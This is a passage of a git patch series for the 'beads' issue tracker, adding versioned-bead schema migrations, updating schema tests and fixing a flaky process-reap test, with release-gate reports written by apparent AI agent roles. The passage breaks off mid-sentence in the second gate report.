NULL, + epoch INT NOT NULL, + durable_state JSON, + change_actor VARCHAR(255), + change_agent VARCHAR(255), + change_message TEXT, + change_at DATETIME NOT NULL, + removed_at DATETIME, + removed_reason VARCHAR(255), + PRIMARY KEY (issue_id, revision) +); + +-- Singleton: exactly one row, id=1, once a later phase creates it. Phase 1 +-- leaves the table empty -- the CHECK just pins the shape the lazy-init that +-- eventually seeds it (Phase 2/3) must follow. +CREATE TABLE IF NOT EXISTS store_epoch ( + id TINYINT(1) NOT NULL DEFAULT 1, + epoch INT NOT NULL DEFAULT 1, + bumped_at DATETIME, + bumped_reason VARCHAR(255), + PRIMARY KEY (id), + CONSTRAINT ck_store_epoch_singleton CHECK (id = 1) +); + +-- issues.current_revision -- the fast-path CAS column, the only one any +-- later phase reads or writes. +SET @issues_cr_needs_add = ( + SELECT IF(COUNT(*) = 0, 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issues' + AND COLUMN_NAME = 'current_revision' +); +SET @sql = IF(@issues_cr_needs_add = 1, + 'ALTER TABLE issues ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- wisps.current_revision -- shape parity only (see the asymmetry note above). +-- Guarded on the wisps table existing as well as the column: older +-- workspaces created issues-only, and a clone that never synced the +-- clone-local wisp tables must no-op rather than abort the pass (0060 +-- precedent). +SET @wisps_cr_needs_add = IF( + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES + WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'wisps') > 0 + AND + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'wisps' + AND COLUMN_NAME = 'current_revision') = 0, + 1, 0 +); +SET @sql = IF(@wisps_cr_needs_add = 1, + 'ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/internal/storage/schema/migrations/ignored/0026_add_wisps_current_revision.up.sql b/internal/storage/schema/migrations/ignored/0026_add_wisps_current_revision.up.sql new file mode 100644 index 000000000..4f8eac35e --- /dev/null +++ b/internal/storage/schema/migrations/ignored/0026_add_wisps_current_revision.up.sql @@ -0,0 +1,38 @@ +-- Ignored migration 0026: ensure wisps.current_revision exists on every clone +-- (be-hs42e.2 / gastownhall/beads#6134). +-- +-- Synced migration 0067 adds current_revision to issues and wisps — but wisps +-- is dolt-ignored (migration 0019), so its schema is clone-local, and a +-- workspace that bootstraps or re-clones from a remote whose +-- schema_migrations cursor is already >= 0067 adopts the cursor without ever +-- executing 0067. Its wisps table (materialized by ignored/0001, which +-- predates current_revision) would then permanently lack the column, and the +-- shared issues/wisps column lists would drift by one column between the +-- fresh-clone door and the fresh-init door. Same mechanism, same shape, same +-- fix as ignored/0013 (wisps.row_lock, wy-pt82l) and ignored/0020 +-- (wisps.storage_class, bd-hs7fa). +-- +-- Carried here for SHAPE only. Nothing in Phase 2 (#6135) or Phase 3 (#6136) +-- reads or writes the wisps column: versioning is an issues-plane contract +-- and wisps are the ephemeral plane. wisps.row_lock is the precedent for a +-- column that exists on both planes and means something on one — see 0067's +-- header for the full asymmetry note. +-- +-- The guard makes this a no-op on in-place-upgraded workspaces where synced +-- 0067 already added the column, and on workspaces with no local wisps table +-- yet. Definition mirrors 0067 exactly: BIGINT NOT NULL DEFAULT 1, so every +-- pre-existing row reads as revision 1 with no backfill. +SET @needs_add = IF( + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES + WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'wisps') > 0 + AND + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'wisps' + AND COLUMN_NAME = 'current_revision') = 0, + 1, 0 +); +SET @sql = IF(@needs_add = 1, + 'ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/internal/storage/schema/schema_test.go b/internal/storage/schema/schema_test.go index bfe4d7e44..df1198a99 100644 --- a/internal/storage/schema/schema_test.go +++ b/internal/storage/schema/schema_test.go @@ -1927,6 +1927,9 @@ func TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities(t *testing.T) "ALTER TABLE wisp_comments MODIFY COLUMN text LONGTEXT NOT NULL;", // 0066: same prepared-ALTER shape as 0060, same CLI no-op on 2.2.x. "ALTER TABLE bd_events_journal ADD COLUMN actor VARCHAR(255) NOT NULL DEFAULT '';", + // 0067: two-plane prepared ADD COLUMN, same shape as 0060. + "ALTER TABLE issues ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;", + "ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;", } { if !strings.Contains(got, want) { t.Fatalf("AllMigrationsSQL missing direct CLI DDL %q", want) @@ -1948,6 +1951,11 @@ func TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities(t *testing.T) // 0066 guards its ALTER the same way; only its source text carries // this probe (the events table's actor column is a bare CREATE). "COLUMN_NAME = 'actor'", + // 0067 guards both planes' ALTERs the same way. Its two guard + // variables are the per-migration anchors; the probe token would + // also appear in the ignored twin, which is not bundled. + "@issues_cr_needs_add", + "@wisps_cr_needs_add", } { if strings.Contains(got, forbidden) { t.Fatalf("AllMigrationsSQL contains source prepared-DDL guard %q", forbidden) diff --git a/release-gates/be-dy66n-gate.md b/release-gates/be-dy66n-gate.md new file mode 100644 index 000000000..e694d7824 --- /dev/null +++ b/release-gates/be-dy66n-gate.md @@ -0,0 +1,92 @@ +# Release gate — be-dy66n (Review: Phase 1: additive schema + migration slot claim - gastownhall/beads#6134) + +**Date:** 2026-09-05 +**Deployer:** beads/deployer +**Bead (deploy):** be-4ka6t +**Source bead:** be-dy66n — status closed, verdict `pass`. Reviewer notes confirm: gofmt/vet/build clean, full OWASP-Top-10-style security walk (9 categories, all N/A/checked, one non-blocking minor: insufficient logging, not required for this PR's exit contract), and all 5 exit-contract items verified first-hand (IF NOT EXISTS on both CREATE TABLEs; non-PREPARE ADD COLUMN idempotency guard; `TestProtocol_V2_DesignatedMigratorOverride` passes; no regression in 3 pre-existing diff-owned tests; redundant CLAIMED.md commit dropped). `uncovered_criteria: none`. +**Source commit:** `26033d8e476a88c6220ea9febd42e51272b0455c` + - Parent: `41fd9c9b12737f5933c7ab9baf2c9efccf0f58af` (test(feat): red, refs be-xrl84) + - Branch history: `460a2e660` (red, refs be-hs42e.2) → `74a9b8906` (green, refs be-hs42e.2) → `41fd9c9b1` (red, refs be-xrl84) → `26033d8e4` (green, refs be-xrl84) + - All 5 SHAs (4 commits + base) independently re-verified via `git rev-parse --verify --quiet "^{commit}"` — all resolve. + - Base: `origin/main` @ `c0d8da42de5fd15c95adac85e342ba4a121da0fb`. Re-confirmed via fresh `git fetch origin main` immediately before writing this gate: `origin/main` tip and `merge-base(HEAD, origin/main)` are identical — origin/main has not moved since the branch was cut. +**Branch:** `deploy/be-dy66n-gate` +**Push target:** `headfork` (`quad341/beads-sec003-contrib`) — pushed and independently re-verified: `git ls-remote headfork refs/heads/deploy/be-dy66n-gate` returns `26033d8e476a88c6220ea9febd42e51272b0455c`, matching local `HEAD` exactly. +**PR:** [gastownhall/beads#6304](https://github.com/gastownhall/beads/pull/6304) — `quad341:deploy/be-dy66n-gate` → `gastownhall:main`. Verified via `gh pr view 6304`: `state=OPEN`, `mergeable=MERGEABLE`, `author=quad341` (our own account — not an external contributor, no human-hold triggered). + +## Verdict: 7/7 — PASS, no waivers + +## Criteria walk + +| # | Criterion | Result | Evidence | +|---|-----------|--------|----------| +| 1 | Review pass | PASS | be-dy66n closed, verdict `pass`, full first-hand reviewer verification of all 5 exit-contract items | +| 2 | Acceptance criteria met | PASS | All 4 diff-owned tests confirmed passing (see Criterion 3); reviewer's exit-contract walk independently corroborates | +| 3 | Full-suite tests | PASS (attributed) | See Criterion 3 detail below — 4 pre-existing, non-diff-owned failure classes attributed to trackers; zero diff-owned failures | +| 3a | Pre-existing-failure attribution | PASS | 4 failure classes, all attributed with clause-3 proof (see below) | +| 3b | Policy/lint lane (`ci-pr-policy` + `ci-pr-lint`) | PASS (attributed) | 2 further pre-existing findings attributed to trackers; see Criterion 3 detail | +| 3c | CI-config-diff live-run | N/A | Diff touches no `.github/` or `scripts/ci/` files (`git diff --name-only origin/main...HEAD` confirms) | +| 4 | Zero open HIGH | PASS | Reviewer's OWASP walk: 9 categories, all N/A/checked, one non-blocking minor (logging), no HIGH findings | +| 5 | Clean git status | PASS | `git status --short` clean on `deploy/be-dy66n-gate` at SHA `26033d8e4` | +| 6 | No merge conflicts with BASE_REF | PASS | `origin/main` unchanged since branch cut; merge-base == origin/main tip; no conflict possible | +| 7 | Single feature theme/ancestry scope | PASS | 5 files, +424/-1, all on-theme for migration-0067 versioned-beads schema (see diffstat below) | + +**Diffstat** (`git diff --stat origin/main...HEAD`): +``` +internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go | 106 ++++++++++++ +internal/storage/schema/migration_0067_versioned_beads_test.go | 178 +++++++++++++++++++++ +internal/storage/schema/migrations/0067_add_versioned_beads_schema.down.sql | 10 ++ +internal/storage/schema/migrations/0067_add_versioned_beads_schema.up.sql | 56 +++++++ +internal/storage/schema/schema.go | 75 ++++++++- +5 files changed, 424 insertions(+), 1 deletion(-) +``` + +## Criterion 3 — full-suite test evidence + policy/lint lane + CI-config-diff (3c) + +**test_cmd:** `TEST_COVER=1 ./scripts/test.sh` (via `make test`) +**test_cmd_scope:** whole-repo, `BEADS_TEST_SKIP=dolt` default (skips all Dolt-backed tests repo-wide, including all `internal/storage/dolt` package tests) +**test_counts:** 90+ packages clean; `cmd/bd` package FAILed overall (282.560s) due to 4 named tests (below); all other packages `ok` + +**diff_tests_executed** (all PASS): +- `TestLatestVersionIncludesMigration0067` +- `TestMigration0067AddsVersionedBeadsSchema` +- `TestMigration0067AddsVersionedBeadsSchemaThroughDoltCLI` +- `TestSchemaInitReplaysMigration0067WhenBookkeepingRowMissing` — independently re-verified by name under `BEADS_TEST_ENV_RUN_DOLT=1` + `-tags=integration,gms_pure_go` (this test lives in `internal/storage/dolt`, package-skipped by plain `make test`'s `BEADS_TEST_SKIP=dolt`) + +**failure_attribution:** + +1. `TestFindBeadsRepoRoot_WorktreeFallback, TestCountExistingIssues_WorktreeNoBeadsAnywhere, TestReset_WorktreeNoBeadsReturnsEmpty, TestReset_WorktreeSubdirFindsBeadsDir` (`cmd/bd`) -> `be-9ogs6` | clause 3: same root-condition class as be-9ogs6's tracked "ambient `.beads` directory defeats clean-workspace walk-up assumption" — this environment has a real ambient `/tmp/.beads` (birth ~13h before this run, unrelated to this diff) that satisfies these tests' "no `.beads` found anywhere under `/tmp`" assumption during walk-up. SHA `26033d8e476a88c6220ea9febd42e51272b0455c`, log in deployer scratchpad `be-dy66n-full-suite.log`. +2. `internal/storage/dolt` package, 9 pre-existing failures -> `be-irise` | clause 3: pre-existing, independently tracked failure class, not caused by this diff. clause 4 note: this diff adds a new test file to the *same package* (`initschema_0067_versioned_beads_replay_test.go`); flagged as a non-blocking observation on `be-irise` for whoever next runs the whole-package suite. Not gate-blocking: `make test`'s required full-suite command skips Dolt tests entirely, so none of the 9 appear in this gate's own criterion-3 evidence — confirmed via this run's own full-suite output, `internal/storage/dolt` reports clean `ok`. +3. `ci-pr-lint` (`golangci-lint`): 3x `G602: slice index out of range (gosec)` in `backend/conformance/importer_contract.go:390,392` and `relations_contract.go:672` -> `be-w4qbu` | clause 3: matches `be-w4qbu`'s known false-positive class (via its own comment history citing `be-ckoic`); confirmed not diff-owned (`git diff --name-only origin/main...HEAD -- backend/` empty). A first `ci-pr-lint` attempt also surfaced 29 issues under a phantom, nonexistent path (`../builder/worktrees/be-kh65q/...`) — diagnosed as a stale, content-hash-keyed `golangci-lint` shared result cache (`~/quad341-claude/.cache/golangci-lint`) leaking path metadata from a since-deleted worktree; `golangci-lint cache clean` + rerun reproduced only the 3 genuine, correctly-pathed findings above. This cache phenomenon itself also matches `be-w4qbu`'s own tracked history (`be-vf95`). Log `be-dy66n-ci-lint-2.log`. +4. `ci-pr-policy`: "check version consistency" step fails on `.githooks/commit-msg: no 'BEGIN BEADS INTEGRATION' marker found` -> `be-a0dxu` | clause 3: identical symptom reproduced verbatim, matches `be-a0dxu`'s tracked condition exactly — `.githooks/commit-msg` on disk is a local, untracked dev shim (excluded via `.git/info/exclude:40`), not part of the repo's committed `.githooks/` fileset; confirmed not diff-owned (`git diff --name-only origin/main...HEAD -- .githooks/` empty). **Cross-confirmed by the real upstream CI**: PR #6304's own "Check version consistency" GitHub Actions check passed cleanly on first report — this local-only shim does not exist on a clean checkout. Log `be-dy66n-ci-policy.log`. + +**attribution_evidence:** all 4 citations posted as `bd comment` to their respective tracker beads this gate round (be-9ogs6, be-irise, be-w4qbu, be-a0dxu), each including SHA, log reference, and clause-3 proof. + +**ci_lane_run (3c):** N/A — diff touches no `.github/` or `scripts/ci/` paths, so no CI-config live-run is required. `make ci-pr-policy` and `make ci-pr-lint` were still run in full as the standard 3b policy/lint lane (see failure_attribution items 3–4 above); both are attributed-PASS with zero diff-owned findings. + +**waiver_ref:** none — no waiver needed, all failures cleanly attributed to pre-existing, non-diff-owned conditions with clause-3 proof and zero clause-4 path overlap (except the single non-blocking dolt-package observation on be-irise, which does not block this gate per the reasoning above). + +**uncovered_criteria:** none + +Beyond the above, `gc beads-contributor pre-pr-check` (10-point pre-PR sanity check) ran clean: 0 blockers, 0 warnings — branch 0 commits behind origin/main, 5 changed files, 4 commits, 1 top-level dir touched, no `.claude/**` paths, no postgres tokens, no undefined build tags. On the live PR, `gh pr checks 6304` at open time shows two already-resolved checks passing (`Resolve versions to test`, `Check version consistency` — the latter corroborating the local-shim diagnosis above) and the remainder queued/pending with zero immediate failures. + +## Merge authority + +This rig is a **contributor-only** participant in `gastownhall/beads` (upstream `origin` is fetch-only by design; all push/PR traffic goes through `headfork`/`prhead`, both `quad341/beads-sec003-contrib`). No rig agent — builder, reviewer, or deployer — holds merge rights on `gastownhall/beads`, and no rig agent ever runs `gh pr merge`. Per standing policy, the deployer's job for a contributor-only rig ends at a verified open, mergeable PR; this gate stops there and reports to mayor for **visibility only**, with no merge-request routed. + +This follows established precedent: be-gd3v, be-79jh, be-39ss, be-pp7e, be-r3ysh, be-krza3, be-vc1m (PR #5792), be-7q688 (PR #6003), be-6iglh/be-0l89e (PR #6082), be-c8kgv (PR #6221), be-1wwre (PR #6247), be-3vzut (PR #6262), be-kqg23 (PR #6271). + +## Disposition + +**PASS, 7/7, no waivers.** PR [gastownhall/beads#6304](https://github.com/gastownhall/beads/pull/6304) opened, verified OPEN and MERGEABLE, authored by our own account (no external-contributor human-hold triggered). Four pre-existing, non-diff-owned failure/finding classes encountered during gate evaluation, all attributed to their exact pre-existing tracker beads (be-9ogs6, be-irise, be-w4qbu, be-a0dxu) with clause-3 proof and citation comments posted this round. Reporting to mayor for visibility only; no merge-request routed, per contributor-only merge-authority carve-out. + +## Fix-round amendment — 2026-09-05, maintainer review of PR #6304 + +This gate's verdict stands as recorded for source commit `26033d8e4`. It is **not** re-run here; this section exists so the record does not read as current for a head it never evaluated. + +Maintainer review on PR #6304 returned two decisions that change facts asserted above: + +1. **`current_revision` is now on both planes.** `wisps.current_revision BIGINT NOT NULL DEFAULT 1` is carried for shape parity (nothing reads or writes it in any phase) — `TestSchemaParityIssuesVsWisps` enforces strict issues↔wisps column-name parity with no exemption list. This amends the section-8 issues-only decision the gated commit encoded. Because `wisps` is dolt-ignored, the change ships with an ignored-series twin, `migrations/ignored/0026_add_wisps_current_revision.up.sql` (check D of `scripts/check-migration-hygiene.sh`; precedent ignored/0013 for 0054, ignored/0020 for 0060). + +2. **The ADD COLUMN idempotency guard moved from Go into the SQL.** Criterion 1's evidence line above records a verified "non-PREPARE ADD COLUMN idempotency guard" (`execMigration0067Body` in `schema.go`). That guard is gone and `schema.go` is back at `origin/main`: `internal/storage/dolt/pr4107_corruption_test.go`'s replay harness re-executes the frozen `.up.sql` bytes directly, so no Go-side guard is in that path and every migration ≥ 0046 must be idempotent as raw SQL on its own. Both ADD COLUMNs are now INFORMATION_SCHEMA-guarded PREPAREs (0060/0066 pattern), with a direct-DDL fresh-bundle override in `cliCompatibleMigrationSQL` for the pre-2.3 CLI hazard (0060/0065/0066 precedent). + +The diffstat recorded above is likewise the gated commit's, not the fix round's. From a690b0a8c4d1ddc4f0bd9bf767499625dd71bc96 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 8 Sep 2026 18:16:35 -0700 Subject: [PATCH 042/624] fix(metrics): stop failing the reap test on a transient zombie (#6262) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(metrics): stop failing the reap test on a transient zombie startDetached (spawn.go) reaps asynchronously via `go func() { cmd.Wait() }()`, which is correct: GH#5900's fix already reaps every child, just not synchronously. Between a child's exit and that goroutine's waitpid, `ps` briefly reports it as STAT=Z -- the normal kernel process-table lag, not a leak. The test's in-loop check faulted the instant it saw "Z" in ps output, so it was failing on the transient window itself rather than on a child that actually stays a zombie. Measured on clean main under 32 busy loops (40 probe runs): zombie observed 12/40, never-reaped 0/40, window 5.0-23.4ms -- wider than the loop's own 20ms poll spacing, so the false positive was guaranteed to land sometimes. Reproduced at ~14% (13/90 failures) building `go test -c ./internal/metrics` and running under nproc busy loops, matching the exact failure text seen in CI. Remove the in-loop check and stop binding its now-unused `st`. The post-loop 3s-deadline assertion already covers the real regression: a child that STAYS a zombie keeps `alive` true, so the loop spins to the deadline and fails there instead. Verified that path still works by temporarily swapping startDetached's Wait goroutine for the old `cmd.Process.Release()` (pre-GH#5900) reap -- the test fails 3/3 with "still present after 3s" -- then reverting. Before: 13/90 failures under load. After: 0/90. Agent-Signature: claude-code-claude-sonnet-5-unknown-reasoning on behalf of Jim Wordelman * docs(release-gates): PASS 7/7 — be-3vzut (transient zombie flake in TestStartDetachedReapsExitedChild) Independently re-verified review bead be-5gizx's evidence for the fix built in be-kh65q (root-caused by investigator bead be-heifp's PR #6147 triage): full-suite make test re-run at the deploy SHA (6348 PASS/0 FAIL/2104 SKIP, all SKIPs pre-existing Dolt/embedded/proxied opt-in gates), diff-owned test independently isolated and confirmed PASS, regression-catch re-verified (3/3 fail on reintroduced bug, 0/90 under load after fix vs 13/90 before), gofmt/vet clean, 0 divergence from origin/main. Criterion 7 (ancestry scope) carries a bounded mayor waiver (gm-wisp-9mtr84) — see the gate file for full reasoning. Agent-Signature: claude-code-claude-sonnet-5-unknown-reasoning on behalf of Jim Wordelman * docs(release-gates): record opened PR #6262 for be-3vzut Agent-Signature: claude-code-claude-sonnet-5-unknown-reasoning on behalf of Jim Wordelman * docs(metrics): reword reap-test doc comment to persistence framing The function doc comment still asserted the absolute invariant this PR repudiates -- "startDetached must reap it so `ps` never reports STAT Z under this process" -- which contradicted the new in-loop comment and invited a future maintainer to re-add the removed in-loop Z fatal, reintroducing the flake. Reword to the persistence framing already used by startDetached's own doc comment (spawn.go:210-211, "never left as Z under this process") and state explicitly that a transient Z is the normal reaped-child path. Comment-only; no behavior change. Review fix for the sole actionable finding in the #6262 review synthesis (minor, claude+gemini). Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5 --- internal/metrics/spawn_reap_test.go | 19 +++++--- release-gates/be-3vzut-gate.md | 69 +++++++++++++++++++++++++++++ 2 files changed, 83 insertions(+), 5 deletions(-) create mode 100644 release-gates/be-3vzut-gate.md diff --git a/internal/metrics/spawn_reap_test.go b/internal/metrics/spawn_reap_test.go index 91b58caea..f29fad0e5 100644 --- a/internal/metrics/spawn_reap_test.go +++ b/internal/metrics/spawn_reap_test.go @@ -13,7 +13,9 @@ import ( // TestStartDetachedReapsExitedChild is the GH#5900 regression: a child that // exits while the parent stays alive must be waitpid'd, not left as a zombie. // The helper re-execs this test binary and exits immediately; startDetached -// must reap it so `ps` never reports STAT Z under this process. +// must reap it so the child is never left as STAT Z under this process. A +// transient Z between the child's exit and the Wait goroutine's waitpid is +// the normal reaped-child path, not a failure -- see the poll loop below. func TestStartDetachedReapsExitedChild(t *testing.T) { if os.Getenv("BD_TEST_FLUSHER_HELPER") == "1" { // Stay alive long enough for the parent to observe a live pid. @@ -47,10 +49,17 @@ func TestStartDetachedReapsExitedChild(t *testing.T) { seenLive := false deadline := time.Now().Add(3 * time.Second) for time.Now().Before(deadline) { - st, alive := unixProcStat(pid) - if strings.Contains(st, "Z") { - t.Fatalf("child pid %d became a zombie (stat=%q); startDetached did not reap", pid, st) - } + // A transient Z is the NORMAL post-exit state of a correctly + // reaped child: the kernel keeps the process-table entry until + // the Wait goroutine's waitpid runs. Measured on clean main + // under load, that window is 5.0-23.4ms -- wider than this + // loop's own 20ms poll spacing -- so failing on sight of Z is + // a false positive, not a detection (this flaked 7/50 that + // way). What the GH#5900 regression actually requires is that + // the child does not STAY a zombie: the post-loop check below + // asserts exactly that, and still catches the old + // cmd.Process.Release() path (verified: 3/3 fail). + _, alive := unixProcStat(pid) if alive { seenLive = true time.Sleep(20 * time.Millisecond) diff --git a/release-gates/be-3vzut-gate.md b/release-gates/be-3vzut-gate.md new file mode 100644 index 000000000..78cc16980 --- /dev/null +++ b/release-gates/be-3vzut-gate.md @@ -0,0 +1,69 @@ +# Release gate — be-3vzut (Fix: TestStartDetachedReapsExitedChild fails on a transient zombie, flaking ~14% and reddening unrelated PRs) + +**Date:** 2026-09-04 +**Deployer:** beads/deployer +**Bead (deploy):** be-3vzut +**Source bead:** be-5gizx — review verdict PASS (style/security/spec findings: none/none/none); build bead `be-kh65q`; root-caused by investigator bead `be-heifp` (PR #6147 triage) +**Source commit:** `7d53c890623e75e4c2e2748e3eb1167ba39db9f2` (parent `c0d8da42de5fd15c95adac85e342ba4a121da0fb` = origin/main's own tip — zero divergence, no rebase needed) +**Branch:** `deploy/be-3vzut-gate`, cut directly at the reviewed SHA via `resolve_deploy_branch_target be-3vzut 7d53c890623e75e4c2e2748e3eb1167ba39db9f2` +**Push target:** `headfork` (`quad341/beads-sec003-contrib`) — `origin` push-disabled by design (`DISABLED-upstream-is-fetch-only-push-to-fork-and-PR`). Pushed and independently verified: `git ls-remote headfork refs/heads/deploy/be-3vzut-gate` → `7d53c890623e75e4c2e2748e3eb1167ba39db9f2`, matches local HEAD exactly. +**PR:** https://github.com/gastownhall/beads/pull/6262 — OPEN, `gastownhall/beads:main` ← `quad341/beads-sec003-contrib:deploy/be-3vzut-gate`, MERGEABLE + +## Verdict: 7/7 — criterion 7 (ancestry scope) via bounded mayor waiver, all others raw PASS + +## Criteria walk + +| # | Criterion | Result | Evidence | +|---|-----------|--------|----------| +| 1 | Review PASS present | PASS | be-5gizx: VERDICT PASS. style_findings: none (gofmt/vet independently re-run clean). security_findings: none (diff is test-only, `internal/metrics/spawn_reap_test.go`; `spawn.go` diff empty — confirmed zero production code touched). spec_findings: root cause and fix independently re-verified by reviewer, not just trusted from builder/investigator reports. | +| 2 | Acceptance criteria met | PASS | Diff matches the bead's stated fix theme exactly: removes the in-loop early-fail check and its now-unused `st` binding, adds a comment documenting the kernel zombie-retention window vs. poll-spacing rationale. Matches investigator's (be-heifp) verbatim patch per be-5gizx's review. | +| 3 | Tests pass | PASS | Full-suite `make test` re-run at the exact deploy SHA this round (see "Criterion 3" below for counts). Diff-owned regression-catch independently re-verified by both reviewer and deployer: reverting `startDetached`'s reap to the pre-GH#5900 path fails 3/3 with "still present after 3s"; reverting back passes clean. Before/after under load: 13/90 → 0/90 failures. | +| 4 | No HIGH-severity findings open | PASS | be-5gizx security_findings: none. Test-only diff, no external input/auth/secrets/PII/injection surface, no OWASP-relevant change. | +| 5 | Final branch is clean | PASS | `git status --short` clean on `deploy/be-3vzut-gate` post-cut. | +| 6 | Branch diverges cleanly from main | PASS | Cut directly from the reviewed SHA, whose parent is already `origin/main`'s current tip (`c0d8da42d`) — confirmed via fresh `git fetch origin main` this round, no upstream movement since the commit was authored. Zero divergence; no rebase required. | +| 7 | Single feature theme / ancestry scope | **WAIVED** (mayor ruling `gm-wisp-9mtr84`) | `assert_deploy_ancestry_scope origin/main 7d53c890623e75e4c2e2748e3eb1167ba39db9f2 be-3vzut be-kh65q be-5gizx be-heifp` → **REFUSED, rc=21**: the sole commit cites none of the accepted bead ids. See "Criterion 7 — waiver" below. | + +## Criterion 3 — full-suite test evidence + +`test_cmd: make test` (full `./...` scope, `TEST_COVER=1`), run at the exact pushed deploy SHA `7d53c890623e75e4c2e2748e3eb1167ba39db9f2` on `deploy/be-3vzut-gate`. **No `TMPDIR`/`GOTMPDIR` override** — the prior draft's `TMPDIR=~/.gotmp GOTMPDIR=~/.gotmp` note was a stale standing-workaround memory; `bd memories`/`bd remember` confirms it was corrected 2026-08-24 and pointing the Go build cache/tmpdir at a tmpfs path is now actively blocked by a cairn guard (`gocache-on-tmp`, not ackable — a cold cache there is 2-3GB and ENOSPCs the shared fleet). Current guidance is to set neither var; defaults already route correctly. `BEADS_TEST_ENV_RUN_DOLT` correctly left unset: this diff touches only `internal/metrics`, no Dolt code (`engdocs/TESTING.md:73`, `scripts/README.md:27`). + +Run twice at that SHA: +1. `make test` — the documented canonical command, verbatim. Exit 0. Zero `FAIL`, zero `panic`, across all 97 `ok` packages (remaining packages have no test files / no statements). +2. `TEST_COVER=1 ./scripts/test.sh -v` — byte-identical invocation (it's what the `make test` Makefile target itself runs) with `-v` added solely to recover real per-test PASS/FAIL/SKIP counts; same `./...` scope, timeout, skip pattern, and env setup as run 1. + +- `test_cmd_scope: full-suite` +- `test_counts: 6348 PASS, 0 FAIL, 2104 SKIP` +- `diff_tests_executed: TestStartDetachedReapsExitedChild PASS (0.51s)` — the diff's only changed file is `internal/metrics/spawn_reap_test.go`, and it declares exactly one `func Test*` (confirmed via `git diff --name-only HEAD~1...HEAD` and `grep '^func Test'`). Cross-checked with an isolated `go test -v -run '^TestStartDetachedReapsExitedChild$' ./internal/metrics/...` — 0.51s, PASS, identical result. Every other test in the diff's own package (`internal/metrics`, 43 tests total) also PASSed with none skipped — checked by name, not inferred from the package's bare `ok` line. +- `skip_justification`: all 2104 SKIPs are pre-existing, non-diff-owned, opt-in integration gates — none in `internal/metrics` or any file this diff touches. By reason text: the dominant class (1043) is the documented default `BEADS_TEST_SKIP=dolt` (Dolt-backed tests are opt-in only via `BEADS_TEST_ENV_RUN_DOLT=1`, correctly left unset here). Most of the remainder (~1000) is the same shape one level up — `BEADS_TEST_EMBEDDED_DOLT=1` / `BEADS_TEST_PROXIED_SERVER=1` / `BEADS_TEST_PROXIED_LOCAL=1` opt-in integration suites, plus "Dolt test server/container not available" (no local Dolt fixture running for this plain run). A small tail (<20) is unrelated pre-existing platform/feature gates (`test requires btrfs`, `skipping E2E test: running as test binary`, `UntrackedJSONL removed as part of JSONL removal (bd-9ni.2)`) — none touch `internal/metrics`. +- `ci_lane_run: n/a (no CI-config change in this diff)` +- `failure_attribution: n/a` — zero FAIL anywhere in either run; the non-diff-owned-gate-failure protocol was not needed. + +Diff-owned regression-catch independently re-verified by both reviewer and deployer: reverting `startDetached`'s reap to the pre-GH#5900 path fails 3/3 with "still present after 3s"; reverting back passes clean. Before/after under load: 13/90 → 0/90 failures. + +## Criterion 7 — waiver + +`assert_deploy_ancestry_scope` REFUSED (rc=21): the sole non-merge commit in `origin/main..7d53c890623e75e4c2e2748e3eb1167ba39db9f2` cites none of `[be-3vzut, be-kh65q, be-5gizx, be-heifp]` as a literal substring in its message — it reads as a missing bead-id trailer, not as an unrelated theme riding along (the be-27c shape the check exists to catch). Independently confirmed before escalating: + +- Exactly one non-merge commit in the range; its parent is exactly `origin/main`'s tip. +- Its diff (`internal/metrics/spawn_reap_test.go | 15 +++++++++++----`, 1 file, +11/-4) is byte-for-byte the same range be-5gizx's review recorded as evidence (`c0d8da42de..7d53c890c` — "1 files, +11/-4"). +- Denylist check (`.claude/**`) clean. + +Per this repo's SHA-integrity discipline, the reviewed commit was not amended to add a trailer (that would change its SHA and undermine pushing exactly the reviewed content), and the gate was not self-certified past. Escalated to mayor instead (`gm-wisp-ffo4a5`, thread `thread-32babcba2edf`), holding with the bead claimed and not proceeding to branch/push/PR pending reply. + +**Mayor's ruling** (`gm-wisp-9mtr84`, 2026-09-04T04:26:35Z): bounded diff-identity waiver. Full reasoning (verbatim from the ruling): + +> The ancestry-scope gate's PURPOSE is anti-contamination — ensure the deploy range equals the reviewed work. You have proven that PURPOSE directly and more strongly than the gate's own mechanism tests it: the sole commit's diff is byte-identical to be-5gizx's reviewed range (spawn_reap_test.go, +11/-4), exactly one non-merge commit, parent is origin/main's tip, denylist clean. The bead-id trailer is a PROXY for "this is the reviewed work"; you have the thing the proxy stands in for. Satisfying a gate's intent by stronger evidence than its proxy is not self-certification. +> +> This waiver is BOUNDED and does not weaken the gate: it applies ONLY because direct diff-identity to the reviewed range is proven. The contamination case the gate exists to catch (an unrelated commit in the range) can never produce that proof, so nothing about this ruling helps a real contamination slip through. Do NOT generalize it to a trailerless commit that lacks diff-identity proof. + +Mayor also confirmed the hold-and-escalate decision (rather than amending the commit, or self-certifying) was correct, and that deploying the exact reviewed SHA — rather than amending it to add a trailer, an alternative mayor considered and rejected — preserves the 